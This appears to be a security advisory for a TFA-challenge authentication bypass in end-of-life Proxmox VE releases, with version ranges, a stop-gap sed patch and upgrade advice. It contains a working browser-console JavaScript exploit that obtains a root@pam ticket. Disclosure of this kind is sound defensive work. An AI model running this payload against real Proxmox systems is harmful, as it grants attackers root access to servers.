Arbitrary TFA challenges bypass password verification in EOL Proxmox VE releases

Summary

PSA-2026-00043-1 is an authentication bypass in end-of-life Proxmox VE releases. The ticket API accepts a signed, half-authenticated TFA challenge in the tfa-challenge parameter. Affected versions neither validate that value for users without a configured second factor nor verify the submitted password when the parameter is present.

An unauthenticated attacker who can reach the Proxmox API on port 8006, directly or through a reverse proxy, can therefore authenticate as any existing, enabled user without TFA. This includes root@pam by default.

No supported Proxmox VE release is affected. The vulnerable range is libpve-access-control >= 7.0-7 and < 8.0.4; check the installed package rather than relying on the overall Proxmox VE version with dpkg-query -W -f '${Version}\n' libpve-access-control.

Exploit

The bypass only requires an arbitrary tfa-challenge value. The following browser-console payload requests a root@pam ticket, installs it as the web UI authentication cookie, and reloads the page:

1
(async () => {
2
    const form = new URLSearchParams({
3
        username: "root@pam",
4
        password: "root@pam",
5
        "tfa-challenge": "NEBUSEC-CHALLENGE",
6
    });
7
    const loginResponse = await fetch("/api2/json/access/ticket", {
8
        method: "POST",
9
        credentials: "omit",
10
        headers: { "Content-Type": "application/x-www-form-urlencoded;charset=UTF-8" },
11
        body: form,
12
    });
13
    const loginBody = await loginResponse.json();
14
    document.cookie = `PVEAuthCookie=${loginBody?.data?.ticket}; Path=/; Secure; SameSite=Strict`;
15
    location.reload()
16
})();

Patch

The vulnerable code path was changed on July 14, 2023 and the fix shipped in libpve-access-control 8.0.4. Because the authentication impact was not known at the time, it was not backported to the Proxmox VE 7 branch.

For an affected installation that cannot be upgraded immediately, the official Proxmox advisory provides this stop-gap, which adds signature validation before accepting a TFA challenge:

sed -i.bck 's/^\t# This is the 2nd factor, use the password for the OTP response.$/\tverify_ticket($tfa_challenge, 0, $username);\n\t# This is the 2nd factor, use the password for the OTP response./' /usr/share/perl5/PVE/AccessControl.pm

grep -n 'verify_ticket($tfa_challenge, 0, $username)' /usr/share/perl5/PVE/AccessControl.pm | wc -l

systemctl reload-or-restart pvedaemon pveproxy

The grep command must print 3; any other result means the patch did not apply. Restricting API access to trusted networks and configuring a second factor also block this attack, but upgrading to a supported Proxmox VE release is the only durable fix.